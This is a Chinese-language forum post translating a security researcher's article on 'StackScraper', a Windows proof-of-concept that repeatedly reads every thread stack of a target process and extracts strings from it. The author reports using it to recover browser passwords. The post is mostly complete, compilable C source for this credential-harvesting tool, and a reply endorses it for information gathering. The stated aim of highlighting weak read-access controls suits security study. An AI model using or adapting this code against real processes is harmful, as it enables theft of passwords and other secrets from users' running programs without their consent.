首页
社区
课程
招聘
[翻译]StackScraper - 利用对远程进程的实时堆栈扫描来捕获敏感数据
发表于: 2022-2-10 10:22 5753

[翻译]StackScraper - 利用对远程进程的实时堆栈扫描来捕获敏感数据

2022-2-10 10:22
5753

翻译
原文地址:https://www.x86matthew.com/view_post?id=stack_scraper


读取内存的潜在危险常常被安全开发人员所忽视,大部分精力都放在了防止写入不需要的数据上。
我创建这个工具是为了显示在不需要任何注入技术的情况下,可以从一个正在运行的进程中提取多少数据。

这个程序持续扫描目标进程中每个线程的整个堆栈,并提取它发现的任何字符串。它既处理指向字符串的指针,也处理分配在堆栈本身的字符串(局部变量)。

这不是一个精确的工具--它使用了一种非常
拙劣的方法,但它确实能返回良好的结果。我已经用这个工具成功地从网络浏览器中检索了密码。这个工具的主要目的是为了强调限制对远程进程的读访问的重要性。


我的概念验证工具的工作原理如下:
1. 使用OpenProcess为目标进程创建一个句柄。
2. 使用NtQuerySystemInformation与SystemProcessInformation来检索目标进程中的线程列表。
3. 调用NtOpenThread来打开目标进程中的第一个线程。
4. 用ThreadBasicInformation调用NtQueryInformationThread,以返回远程线程的TEB地址(TebBaseAddress)。
5. 使用ReadProcessMemory从远程进程中读取该线程的整个TEB结构(NT_TIB)。
6. 计算全栈大小(TEB.StackBase - TEB.StackLimit),并使用ReadProcessMemory读取整个栈的内容。
7. 使用ReadProcessMemory读取堆栈上任何指针的数据值,并检查是否有字符串。
8. 通过堆栈数据查看本地字符串变量内容。
9. 对目标进程中的下一个线程返回到步骤#3。对所有剩余的线程重复上述步骤。
10. 回到步骤#2,重新开始。

以下是完整的代码:

#include <stdio.h>
#include <windows.h>
 
#define STATUS_INFO_LENGTH_MISMATCH 0xC0000004
#define SystemProcessInformation 5
#define ThreadBasicInformation 0
 
// max stack size - 1mb
#define MAX_STACK_SIZE ((1024 * 1024) / sizeof(DWORD))
 
// max stack string value size - 1kb
#define MAX_STACK_VALUE_SIZE 1024
 
#define TEMP_LOG_FILENAME "temp_log.txt"
 
struct CLIENT_ID
{
        HANDLE UniqueProcess;
        HANDLE UniqueThread;
};
 
struct THREAD_BASIC_INFORMATION
{
        DWORD ExitStatus;
        PVOID TebBaseAddress;
        CLIENT_ID ClientId;
        PVOID AffinityMask;
        DWORD Priority;
        DWORD BasePriority;
};
 
struct UNICODE_STRING
{
        USHORT Length;
        USHORT MaximumLength;
        PWSTR Buffer;
};
 
struct OBJECT_ATTRIBUTES
{
        ULONG Length;
        HANDLE RootDirectory;
        UNICODE_STRING *ObjectName;
        ULONG Attributes;
        PVOID SecurityDescriptor;
        PVOID SecurityQualityOfService;
};
 
struct SYSTEM_PROCESS_INFORMATION
{
        ULONG NextEntryOffset;
        ULONG NumberOfThreads;
        BYTE Reserved1[48];
        UNICODE_STRING ImageName;
        DWORD BasePriority;
        HANDLE UniqueProcessId;
        PVOID Reserved2;
        ULONG HandleCount;
        ULONG SessionId;
        PVOID Reserved3;
        SIZE_T PeakVirtualSize;
        SIZE_T VirtualSize;
        ULONG Reserved4;
        SIZE_T PeakWorkingSetSize;
        SIZE_T WorkingSetSize;
        PVOID Reserved5;
        SIZE_T QuotaPagedPoolUsage;
        PVOID Reserved6;
        SIZE_T QuotaNonPagedPoolUsage;
        SIZE_T PagefileUsage;
        SIZE_T PeakPagefileUsage;
        SIZE_T PrivatePageCount;
        LARGE_INTEGER Reserved7[6];
};
 
struct SYSTEM_THREAD_INFORMATION
{
    LARGE_INTEGER Reserved1[3];
    ULONG Reserved2;
    PVOID StartAddress;
    CLIENT_ID ClientId;
    DWORD Priority;
    LONG BasePriority;
    ULONG Reserved3;
    ULONG ThreadState;
    ULONG WaitReason;
};
 
DWORD (WINAPI *NtQuerySystemInformation)(DWORD SystemInformationClass, PVOID SystemInformation, ULONG SystemInformationLength, PULONG ReturnLength);
DWORD (WINAPI *NtQueryInformationThread)(HANDLE ThreadHandle, DWORD ThreadInformationClass, PVOID ThreadInformation, ULONG ThreadInformationLength, PULONG ReturnLength);
DWORD (WINAPI *NtOpenThread)(HANDLE *ThreadHandle, DWORD DesiredAccess, OBJECT_ATTRIBUTES *ObjectAttributes, CLIENT_ID *ClientId);
 
DWORD dwGlobal_Stack[MAX_STACK_SIZE];
HANDLE hGlobal_LogFile = NULL;
 
SYSTEM_PROCESS_INFORMATION *pGlobal_SystemProcessInfo = NULL;
 
DWORD GetSystemProcessInformation()
{
        DWORD dwAllocSize = 0;
        DWORD dwStatus = 0;
        DWORD dwLength = 0;
        BYTE *pSystemProcessInfoBuffer = NULL;
 
        // free previous handle info list (if one exists)
        if(pGlobal_SystemProcessInfo != NULL)
        {
                free(pGlobal_SystemProcessInfo);
        }
 
        // get system handle list
        dwAllocSize = 0;
        for(;;)
        {
                if(pSystemProcessInfoBuffer != NULL)
                {
                        // free previous inadequately sized buffer
                        free(pSystemProcessInfoBuffer);
                        pSystemProcessInfoBuffer = NULL;
                }
 
                if(dwAllocSize != 0)
                {
                        // allocate new buffer
                        pSystemProcessInfoBuffer = (BYTE*)malloc(dwAllocSize);
                        if(pSystemProcessInfoBuffer == NULL)
                        {
                                return 1;
                        }
                }
 
                // get system handle list
                dwStatus = NtQuerySystemInformation(SystemProcessInformation, (void*)pSystemProcessInfoBuffer, dwAllocSize, &dwLength);
                if(dwStatus == 0)
                {
                        // success
                        break;
                }
                else if(dwStatus == STATUS_INFO_LENGTH_MISMATCH)
                {
                        // not enough space - allocate a larger buffer and try again (also add an extra 1kb to allow for additional data between checks)
                        dwAllocSize = (dwLength + 1024);
                }
                else
                {
                        // other error
                        free(pSystemProcessInfoBuffer);
                        return 1;
                }
        }
 
        // store handle info ptr
        pGlobal_SystemProcessInfo = (SYSTEM_PROCESS_INFORMATION*)pSystemProcessInfoBuffer;
 
        return 0;
}
 
DWORD CheckValidStringCharacter(BYTE bChar)
{
        // check if this is a valid string character
        if(bChar > 0x7F)
        {
                // invalid character
                return 1;
        }
        else if(bChar < 0x20 && bChar != '\r' && bChar != '\n')
        {
                // invalid character
                return 1;
        }
 
        return 0;
}
 
DWORD CheckValidString(char *pString)
{
        DWORD dwLength = 0;
        BYTE *pCurrCharacter = NULL;
 
        // calculate string length
        dwLength = strlen(pString);
 
        // string must be at least 5 characters
        if(dwLength < 5)
        {
                return 1;
        }
 
        // if string is less than 8 characters, ensure it doesn't contain any non-alphanumeric characters
        // (this removes a lot of "noise")
        if(dwLength < 8)
        {
                for(DWORD i = 0; i < dwLength; i++)
                {
                        pCurrCharacter = (BYTE*)(pString + i);
                        if(*pCurrCharacter >= 'a' && *pCurrCharacter <= 'z')
                        {
                                continue;
                        }
                        else if(*pCurrCharacter >= 'A' && *pCurrCharacter <= 'Z')
                        {
                                continue;
                        }
                        else if(*pCurrCharacter >= '0' && *pCurrCharacter <= '9')
                        {
                                continue;
                        }
 
                        // non-alphanumeric character found
                        return 1;
                }
        }
 
        return 0;
}
 
DWORD CheckAnsiString(BYTE *pValue, char *pString, DWORD dwStringMaxLength)
{
        DWORD dwNullFound = 0;
        DWORD dwStringLength = 0;
 
        // check if this is a valid ansi string
        for(DWORD i = 0; i < MAX_STACK_VALUE_SIZE; i++)
        {
                // check string value
                if(*(BYTE*)(pValue + i) == 0x00)
                {
                        // null terminator
                        dwNullFound = 1;
                        break;
                }
                else if(CheckValidStringCharacter(*(BYTE*)(pValue + i)) != 0)
                {
                        // invalid string
                        return 1;
                }
                else
                {
                        // valid character
                        dwStringLength++;
                }
        }
 
        if(dwNullFound == 0)
        {
                // invalid string (no null terminator found)
                return 1;
        }
 
        if(dwStringLength == 0)
        {
                // invalid string (blank)
                return 1;
        }
 
        // valid ansi string
        _snprintf(pString, dwStringMaxLength, "%s", pValue);
 
        return 0;
}
 
DWORD CheckWideCharString(BYTE *pValue, char *pString, DWORD dwStringMaxLength)
{
        DWORD dwNullFound = 0;
        DWORD dwStringLength = 0;
 
        // check if this is a valid widechar string
        for(DWORD i = 0; i < MAX_STACK_VALUE_SIZE; i++)
        {
                if(i % 2 == 1)
                {
                        if(*(BYTE*)(pValue + i) != 0x00)
                        {
                                // invalid string
                                return 1;
                        }
 
                        continue;
                }
 
                // check string value
                if(*(BYTE*)(pValue + i) == 0x00)
                {
                        // null terminator
                        dwNullFound = 1;
                        break;
                }
                else if(CheckValidStringCharacter(*(BYTE*)(pValue + i)) != 0)
                {
                        // invalid string
                        return 1;
                }
                else
                {
                        // valid character
                        dwStringLength++;
                }
        }
 
        if(dwNullFound == 0)
        {
                // invalid string (no null terminator found)
                return 1;
        }
 
        if(dwStringLength == 0)
        {
                // invalid string (blank)
                return 1;
        }
 
        // valid widechar string
        _snprintf(pString, dwStringMaxLength, "%S", pValue);
 
        return 0;
}
 
DWORD CheckLogForDuplicates(char *pString, DWORD *pdwExists)
{
        FILE *pFile = NULL;
        DWORD dwExists = 0;
        char szLine[MAX_STACK_VALUE_SIZE + 4];
        char *pEndOfLine = NULL;
 
        // open temp log file
        pFile = fopen(TEMP_LOG_FILENAME, "r");
        if(pFile == NULL)
        {
                return 1;
        }
 
        // check if this entry already exists in the file
        for(;;)
        {
                // get line
                memset(szLine, 0, sizeof(szLine));
                if(fgets(szLine, sizeof(szLine) - 1, pFile) == 0)
                {
                        break;
                }
 
                // remove carraige-return
                pEndOfLine = strstr(szLine, "\r");
                if(pEndOfLine != NULL)
                {
                        *pEndOfLine = '\0';
                }
 
                // remove new-line
                pEndOfLine = strstr(szLine, "\n");
                if(pEndOfLine != NULL)
                {
                        *pEndOfLine = '\0';
                }
 
                // check if the current line contains the specified string
                if(strstr(szLine, pString) != NULL)
                {
                        // found
                        dwExists = 1;
                        break;
                }
        }
 
        // close file handle
        fclose(pFile);
 
        // store dwExists
        *pdwExists = dwExists;
 
        return 0;
}
 
DWORD ProcessStackValue(BYTE *pValue, char *pStringFilter, DWORD *pdwStringDataLength)
{
        BYTE bStackValueCopy[MAX_STACK_VALUE_SIZE + 4];
        char szString[MAX_STACK_VALUE_SIZE];
        DWORD dwBytesWritten = 0;
        DWORD dwExists = 0;
        char *pCurrSearchPtr = NULL;
        DWORD dwMatchesFilter = 0;
        DWORD dwWideCharString = 0;
        DWORD dwOutputStringLength = 0;
 
        // reset length value
        *pdwStringDataLength = 0;
 
        // create a copy of the stack value to ensure it is null terminated
        memset(bStackValueCopy, 0, sizeof(bStackValueCopy));
        memcpy(bStackValueCopy, pValue, MAX_STACK_VALUE_SIZE);
 
        // check if this value is an ANSI string
        memset(szString, 0, sizeof(szString));
        if(CheckAnsiString(bStackValueCopy, szString, sizeof(szString) - 1) != 0)
        {
                // check if this value is a widechar string
                if(CheckWideCharString(bStackValueCopy, szString, sizeof(szString) - 1) != 0)
                {
                        // not a string - ignore
                        return 1;
                }
 
                // widechar string
                dwWideCharString = 1;
        }
 
        // perform further validation on the string
        if(CheckValidString(szString) != 0)
        {
                return 1;
        }
 
        // replace '\r' and '\n' characters with dots
        // (we don't want to terminate the string here because it may contain useful information on the following line)
        for(DWORD i = 0; i < strlen(szString); i++)
        {
                if(szString[i] == '\r')
                {
                        szString[i] = '.';
                }
                else if(szString[i] == '\n')
                {
                        szString[i] = '.';
                }
        }
 
        if(pStringFilter != NULL)
        {
                // check if this string matches the specified filter
                pCurrSearchPtr = szString;
                for(;;)
                {
                        if(*pCurrSearchPtr == '\0')
                        {
                                // end of string
                                break;
                        }
 
                        // check if the substring exists here
                        if(strnicmp(pCurrSearchPtr, pStringFilter, strlen(pStringFilter)) == 0)
                        {
                                // found matching substring
                                dwMatchesFilter = 1;
                                break;
                        }
 
                        // move to the next character
                        pCurrSearchPtr++;
                }
        }
        else
        {
                // no filter specified - always match
                dwMatchesFilter = 1;
        }
 
        if(dwMatchesFilter != 0)
        {
                // check if this string has already been found
                if(CheckLogForDuplicates(szString, &dwExists) != 0)
                {
                        return 1;
                }
 
                if(dwExists == 0)
                {
                        // calculate string length
                        dwOutputStringLength = strlen(szString);
 
                        // new string found - write to log
                        if(WriteFile(hGlobal_LogFile, szString, dwOutputStringLength, &dwBytesWritten, NULL) == 0)
                        {
                                return 1;
                        }
 
                        // write crlf
                        if(WriteFile(hGlobal_LogFile, "\r\n", strlen("\r\n"), &dwBytesWritten, NULL) == 0)
                        {
                                return 1;
                        }
 
                        // store string data length
                        if(dwWideCharString == 0)
                        {
                                // ansi string
                                *pdwStringDataLength = dwOutputStringLength;
                        }
                        else
                        {
                                // widechar string
                                *pdwStringDataLength = dwOutputStringLength * 2;
                        }
 
                        // print to console
                        printf("Found string: %s\n", szString);
                }
        }
 
        return 0;
}
 
DWORD GetStackStrings_Pointers(HANDLE hProcess, DWORD dwStackSize, char *pStringFilter)
{
        DWORD *pdwCurrStackPtr = NULL;
        DWORD dwCurrStackValue = 0;
        BYTE bStackValue[MAX_STACK_VALUE_SIZE];
        DWORD dwStringDataLength = 0;
 
        // get all values from stack
        pdwCurrStackPtr = dwGlobal_Stack;
        for(DWORD i = 0; i < (dwStackSize / sizeof(DWORD)); i++)
        {
                // get current stack value
                dwCurrStackValue = *pdwCurrStackPtr;
 
                // check if this value is potentially a data ptr
                if(dwCurrStackValue >= 0x10000)
                {
                        // attempt to read data from this ptr
                        memset(bStackValue, 0, sizeof(bStackValue));
                        if(ReadProcessMemory(hProcess, (void*)dwCurrStackValue, bStackValue, sizeof(bStackValue), NULL) != 0)
                        {
                                // process current stack value
                                dwStringDataLength = 0;
                                ProcessStackValue(bStackValue, pStringFilter, &dwStringDataLength);
                        }
                }
 
                // move to next stack value
                pdwCurrStackPtr++;
        }
 
        return 0;
}
 
DWORD GetStackStrings_LocalVariables(DWORD dwStackSize, char *pStringFilter)
{
        DWORD dwCopyLength = 0;
        BYTE *pCurrStackPtr = NULL;
        DWORD dwStringDataLength = 0;
        BYTE bStackValue[MAX_STACK_VALUE_SIZE];
 
        // find strings allocated on stack
        pCurrStackPtr = (BYTE*)dwGlobal_Stack;
        for(DWORD i = 0; i < dwStackSize; i++)
        {
                // ignore if the current value is null
                if(*pCurrStackPtr == 0x00)
                {
                        pCurrStackPtr++;
                        continue;
                }
 
                // calculate number of bytes to copy
                dwCopyLength = sizeof(dwGlobal_Stack) - i;
                if(dwCopyLength > sizeof(bStackValue))
                {
                        dwCopyLength = sizeof(bStackValue);
                }
 
                // copy current data block
                memset(bStackValue, 0, sizeof(bStackValue));
                memcpy(bStackValue, pCurrStackPtr, dwCopyLength);
 
                // process current stack value
                dwStringDataLength = 0;
                ProcessStackValue(bStackValue, pStringFilter, &dwStringDataLength);
 
                if(dwStringDataLength != 0)
                {
                        // move ptr to the end of the last string
                        pCurrStackPtr += dwStringDataLength;
                }
                else
                {
                        // move ptr to the next byte
                        pCurrStackPtr++;
                }
        }
 
        return 0;
}
 
DWORD GetStackStrings(HANDLE hProcess, HANDLE hThread, DWORD dwThreadID, char *pStringFilter)
{
        THREAD_BASIC_INFORMATION ThreadBasicInformationData;
        NT_TIB ThreadTEB;
        DWORD dwStackSize = 0;
 
        // get thread basic information
        memset((void*)&ThreadBasicInformationData, 0, sizeof(ThreadBasicInformationData));
        if(NtQueryInformationThread(hThread, ThreadBasicInformation, &ThreadBasicInformationData, sizeof(THREAD_BASIC_INFORMATION), NULL) != 0)
        {
                return 1;
        }
 
        // read thread TEB
        memset((void*)&ThreadTEB, 0, sizeof(ThreadTEB));
        if(ReadProcessMemory(hProcess, ThreadBasicInformationData.TebBaseAddress, &ThreadTEB, sizeof(ThreadTEB), NULL) == 0)
        {
                return 1;
        }
 
        // calculate thread stack size
        dwStackSize = (DWORD)ThreadTEB.StackBase - (DWORD)ThreadTEB.StackLimit;
        if(dwStackSize > sizeof(dwGlobal_Stack))
        {
                return 1;
        }
 
        // read full thread stack
        if(ReadProcessMemory(hProcess, ThreadTEB.StackLimit, dwGlobal_Stack, dwStackSize, NULL) == 0)
        {
                return 1;
        }
 
        // read ptrs
        if(GetStackStrings_Pointers(hProcess, dwStackSize, pStringFilter) != 0)
        {
                return 1;
        }
 
        // read local variables
        if(GetStackStrings_LocalVariables(dwStackSize, pStringFilter) != 0)
        {
                return 1;
        }
 
        return 0;
}
 
DWORD ReadProcessStackData(HANDLE hProcess, DWORD dwPID, char *pStringFilter) 
{ 
        HANDLE hThread = NULL;
        SYSTEM_PROCESS_INFORMATION *pCurrProcessInfo = NULL;
        SYSTEM_PROCESS_INFORMATION *pNextProcessInfo = NULL;
        SYSTEM_PROCESS_INFORMATION *pTargetProcessInfo = NULL;
        SYSTEM_THREAD_INFORMATION *pCurrThreadInfo = NULL;
        OBJECT_ATTRIBUTES ObjectAttributes;
        DWORD dwStatus = 0;
 
        // get snapshot of processes/threads
        if(GetSystemProcessInformation() != 0)
        {
                return 1;
        }
 
        // find the target process in the list
        pCurrProcessInfo = pGlobal_SystemProcessInfo;
        for(;;)
        {
                // check if this is the target PID
                if((DWORD)pCurrProcessInfo->UniqueProcessId == dwPID)
                {
                        // found target process
                        pTargetProcessInfo = pCurrProcessInfo;
                        break;
                }
 
                // check if this is the end of the list
                if(pCurrProcessInfo->NextEntryOffset == 0)
                {
                        // end of list
                        break;
                }
                else
                {
                        // get next process ptr
                        pNextProcessInfo = (SYSTEM_PROCESS_INFORMATION*)((BYTE*)pCurrProcessInfo + pCurrProcessInfo->NextEntryOffset);
                }
 
                // go to next process
                pCurrProcessInfo = pNextProcessInfo;
        }
 
        // ensure the target process was found in the list
        if(pTargetProcessInfo == NULL)
        {
                return 1;
        }
 
        // loop through all threads within the target process
        pCurrThreadInfo = (SYSTEM_THREAD_INFORMATION*)((BYTE*)pTargetProcessInfo + sizeof(SYSTEM_PROCESS_INFORMATION));
        for(DWORD i = 0; i < pTargetProcessInfo->NumberOfThreads; i++)
        {
                // open thread
                memset((void*)&ObjectAttributes, 0, sizeof(ObjectAttributes));
                ObjectAttributes.Length = sizeof(ObjectAttributes);
                dwStatus = NtOpenThread(&hThread, THREAD_QUERY_INFORMATION, &ObjectAttributes, &pCurrThreadInfo->ClientId);
                if(dwStatus == 0)
                {
                        // extract strings from the stack of this thread
                        GetStackStrings(hProcess, hThread, (DWORD)pCurrThreadInfo->ClientId.UniqueThread, pStringFilter);
 
                        // close handle
                        CloseHandle(hThread);
                }
 
                // move to the next thread
                pCurrThreadInfo++;
        }
 
        return 0;
}
 
DWORD GetNtdllFunctions()
{
        // get NtQueryInformationThread ptr
        NtQueryInformationThread = (unsigned long (__stdcall *)(void *,unsigned long,void *,unsigned long,unsigned long *))GetProcAddress(GetModuleHandle("ntdll.dll"), "NtQueryInformationThread");
        if(NtQueryInformationThread == NULL)
        {
                return 1;
        }
 
        // get NtQuerySystemInformation function ptr
        NtQuerySystemInformation = (unsigned long (__stdcall *)(unsigned long,void *,unsigned long,unsigned long *))GetProcAddress(GetModuleHandle("ntdll.dll"), "NtQuerySystemInformation");
        if(NtQuerySystemInformation == NULL)
        {
                return 1;
        }
 
        // get NtOpenThread function ptr
        NtOpenThread = (unsigned long (__stdcall *)(void ** ,unsigned long,struct OBJECT_ATTRIBUTES *,struct CLIENT_ID *))GetProcAddress(GetModuleHandle("ntdll.dll"), "NtOpenThread");
        if(NtOpenThread == NULL)
        {
                return 1;
        }
 
        return 0;
}
 
int main(int argc, char *argv[])
{
        HANDLE hProcess = NULL;
        DWORD dwPID = 0;
        char *pStringFilter = NULL;
 
        printf("StackScraper - [url=http://www.x86matthew.com]www.x86matthew.com[/url]\n\n");
 
        if(argc != 2 && argc != 3)
        {
                printf("Usage: %s [pid] [filter:optional]\n\n", argv[0]);
 
                return 1;
        }
 
        // get params
        dwPID = atoi(argv[1]);
        if(argc == 3)
        {
                pStringFilter = argv[2];
        }
 
        // get ntdll function ptrs
        if(GetNtdllFunctions() != 0)
        {
                return 1;
        }
 
        // open process
        hProcess = OpenProcess(PROCESS_VM_READ, 0, dwPID);
        if(hProcess == NULL)
        {
                printf("Failed to open process: %u\n", dwPID);
 
                return 1;
        }
 
        printf("Opened process %u successfully\n", dwPID);
 
        // create a temporary log file to ignore duplicate entries
        hGlobal_LogFile = CreateFile(TEMP_LOG_FILENAME, GENERIC_WRITE, FILE_SHARE_READ, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
        if(hGlobal_LogFile == INVALID_HANDLE_VALUE)
        {
                printf("Failed to create temporary log file: '%s'\n", TEMP_LOG_FILENAME);
                // error
                CloseHandle(hProcess);
 
                return 1;
        }
 
        // check if a filter was specified
        if(pStringFilter == NULL)
        {
                printf("Monitoring process stack...\n");
        }
        else
        {
                printf("Monitoring process stack for strings containing '%s'...\n", pStringFilter);
        }
 
        // monitor target process
        for(;;)
        {
                // read stack data from remote process
                if(ReadProcessStackData(hProcess, dwPID, pStringFilter) != 0)
                {
                        break;
                }
        }
 
        printf("Exiting...\n");
 
        // close file handle
        CloseHandle(hGlobal_LogFile);
 
        // close process handle
        CloseHandle(hProcess);
 
        return 0;
}



[课程]Android-CTF解题方法汇总!

收藏
免费 3
支持
分享
最新回复 (1)
雪    币: 576
活跃值: (2035)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
2
mark  可以作为一个前期收集信息的工具
2022-2-10 13:50
0
游客
登录 | 注册 方可回帖
返回
//